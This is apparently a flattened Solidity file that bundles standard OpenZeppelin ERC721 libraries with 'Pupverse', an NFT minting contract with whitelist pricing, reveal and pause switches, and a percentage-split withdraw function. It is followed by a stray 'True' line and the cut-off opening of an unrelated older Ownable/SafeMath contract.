* thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // File: Pupverse Official.sol pragma solidity >=0.7.0 <0.9.0; contract Pupverse is ERC721Enumerable, Ownable { using Strings for uint256; string public baseURI; string public baseExtension = ".json"; string public notRevealedURI; address[] public WhitelistedWallets; bool public isWhitelistSales = true; bool public RevealedActive = false; bool public isPauseMode = true; uint256 public PriceNFT = 0.06 ether; uint256 public WhitelistPrice = 0.03 ether; uint256 public MaxToken = 10000; uint256 public nftPerWallet = 10; mapping(address => uint256) public WalletMintedBalance; constructor(string memory _initBaseURI,string memory _initNotRevealedURI) ERC721("Pupverse", "PUPVERSE") { Uri_Base(_initBaseURI); Uri_NotRevealed(_initNotRevealedURI); } //INT function _baseURI() internal view virtual override returns (string memory) { return baseURI; } //MINT function mint(uint256 _mintAmount) public payable { require(!isPauseMode, "Pause Mode ON"); uint256 supply = totalSupply(); require(_mintAmount > 0, "Select 1 NFT"); require(supply + _mintAmount <= MaxToken, "Collecton Sold"); if (msg.sender != owner()) { if (isWhitelistSales == true) { require(isAddressWhitelisted(msg.sender), "Wallet not Whitelisted"); uint256 ownerMintedCount = WalletMintedBalance[msg.sender]; require(ownerMintedCount + _mintAmount <= nftPerWallet, "Whitelist Sales: Max NFT per Wallet Reached"); require(msg.value >= WhitelistPrice * _mintAmount, "Whitelist Sales: Balance Insufficient"); } else { require(msg.value >= PriceNFT * _mintAmount, "Main Sale: Balance Insufficient"); } } for (uint256 i = 1; i <= _mintAmount; i++) { WalletMintedBalance[msg.sender]++; _safeMint(msg.sender, supply + i); } } function isAddressWhitelisted(address _user) public view returns (bool) { for (uint i = 0; i < WhitelistedWallets.length; i++) { if (WhitelistedWallets[i] == _user) { return true; } } return false; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); if(RevealedActive == false) { return notRevealedURI; } string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension)) : ""; } function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory tokenIds = new uint256[](ownerTokenCount); for (uint256 i; i < ownerTokenCount; i++) { tokenIds[i] = tokenOfOwnerByIndex(_owner, i); } return tokenIds; } //OWNER function RevealMode() public onlyOwner { RevealedActive = true; } function addWhitelistedWallets(address[] calldata _users) public onlyOwner { delete WhitelistedWallets; WhitelistedWallets = _users; } function isPauseModebtn(bool _state) public onlyOwner { isPauseMode = _state; } function isWhitelistSalesbtn(bool _state) public onlyOwner { isWhitelistSales = _state; } function MainPrice(uint256 _newPriceNFT) public onlyOwner { PriceNFT = _newPriceNFT; } function WhitelistPricebtn(uint256 _newWhitelistSalesPrice) public onlyOwner { WhitelistPrice = _newWhitelistSalesPrice; } function Uri_Base(string memory _newBaseURI) public onlyOwner { baseURI = _newBaseURI; } function Uri_NotRevealed(string memory _notRevealedURI) public onlyOwner { notRevealedURI = _notRevealedURI; } function withdraw() public payable onlyOwner { (bool wl, ) = payable(0x6dfFA2836db34Eb72a377C1c4576372fd6790F13).call{value: address(this).balance * 45 / 100}(""); require(wl); (bool wl2, ) = payable(0x3CE63687ebeDaCBbb5B6e945ab6F2DcfeA5fB25F).call{value: address(this).balance * 5 / 100}(""); require(wl2); (bool wl3, ) = payable(0x55cE7b7A8181D470aea7B4D4Ce66530B31b19E9D).call{value: address(this).balance * 1 / 100}(""); require(wl3); (bool pv, ) = payable(owner()).call{value: address(this).balance}(""); require(pv); } }
True
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pragma solidity ^0.4.18; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a 